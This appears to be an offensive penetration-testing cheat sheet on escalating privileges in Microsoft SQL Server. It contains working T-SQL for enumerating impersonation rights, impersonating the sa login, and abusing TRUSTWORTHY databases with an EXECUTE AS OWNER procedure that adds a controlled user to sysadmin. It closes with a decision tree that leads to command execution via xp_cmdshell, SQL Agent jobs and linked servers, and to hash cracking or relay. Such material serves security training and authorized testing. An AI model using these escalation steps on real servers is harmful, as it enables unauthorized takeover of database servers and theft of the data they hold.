MSSQL privilege escalation usually comes from server roles, impersonation, TRUSTWORTHY databases, SQL Agent permissions, linked-server mappings, or unsafe feature enablement.
Fast Checks
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
EXEC sp_helpsrvrolemember;
Configuration snapshot:
SELECT name, value_in_use
FROM sys.configurations
WHERE name IN ('xp_cmdshell','Ole Automation Procedures','clr enabled','external scripts enabled','cross db ownership chaining','Ad Hoc Distributed Queries');
Impersonation
EXECUTE AS allows a session to switch execution context to another login or user when IMPERSONATE permission exists.
Enumerate impersonation targets:
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
Alternative:
SELECT name
FROM sys.server_permissions
JOIN sys.server_principals ON grantor_principal_id = principal_id
WHERE permission_name = 'IMPERSONATE';
In mssqlclient.py:
enum_impersonate
Impersonate sa:
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
Revert:
REVERT;
If impersonation gives sysadmin, move to RCE through xp_cmdshell, OLE, Agent, or CLR.
TRUSTWORTHY Databases
TRUSTWORTHY tells the SQL Server instance to trust code inside a database. This is dangerous when a database is owned by a high-privileged login and a lower-privileged user is db_owner inside that database.
Identify candidates:
SELECT a.name AS database_name, b.name AS owner, is_trustworthy_on
FROM sys.databases a
JOIN sys.server_principals b ON a.owner_sid = b.sid;
Find database role members:
USE DBNAME;
SELECT b.name AS role_name, c.name AS member_name
FROM DBNAME.sys.database_role_members a
JOIN DBNAME.sys.database_principals b ON a.role_principal_id = b.principal_id
LEFT JOIN DBNAME.sys.database_principals c ON a.member_principal_id = c.principal_id;
Check db_owner:
SELECT IS_ROLEMEMBER('db_owner') AS is_db_owner;
Escalation pattern when the database is trustworthy, owned by a sysadmin login, and we control db_owner:
USE DB_GOES_HERE;
GO
CREATE PROCEDURE dbo.make_sysadmin
WITH EXECUTE AS OWNER
AS
BEGIN
EXEC master..sp_addsrvrolemember 'CONTROLLED_USER', 'sysadmin';
END;
GO
EXEC dbo.make_sysadmin;
GO
Modern alternative:
USE DB_GOES_HERE;
GO
CREATE PROCEDURE dbo.make_sysadmin
WITH EXECUTE AS OWNER
AS
BEGIN
ALTER SERVER ROLE sysadmin ADD MEMBER [CONTROLLED_USER];
END;
GO
EXEC dbo.make_sysadmin;
GO
Verify:
REVERT;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
Cleanup:
DROP PROCEDURE IF EXISTS dbo.make_sysadmin;
SQL Agent Escalation
Check Agent roles:
USE msdb;
SELECT dp1.name AS database_user, dp2.name AS database_role
FROM sys.database_role_members drm
JOIN sys.database_principals dp1 ON drm.member_principal_id = dp1.principal_id
JOIN sys.database_principals dp2 ON drm.role_principal_id = dp2.principal_id
WHERE dp2.name LIKE 'SQLAgent%';
High-value roles:
SQLAgentUserRole
SQLAgentReaderRole
SQLAgentOperatorRole
If job creation or job execution is permitted, use the SQL Agent job RCE pattern from the command execution note.
Cross-DB Ownership Chaining
Check:
SELECT name, value_in_use
FROM sys.configurations
WHERE name='cross db ownership chaining';
Pivot:
USE dbA;
SELECT * FROM dbB.sys.tables;
Cross-database ownership chaining can turn access in one database into access in another when ownership and chaining conditions line up.
Privilege Escalation Decision Tree
sysadmin already?
enable/use RCE primitives
IMPERSONATE available?
execute as stronger login
re-check sysadmin
TRUSTWORTHY database + db_owner + high-priv owner?
create EXECUTE AS OWNER module
add controlled login to sysadmin
SQL Agent rights?
create/run CmdExec or PowerShell job
linked server maps to sysadmin remotely?
execute commands on linked server
service account hash captured?
crack or relay if lab permits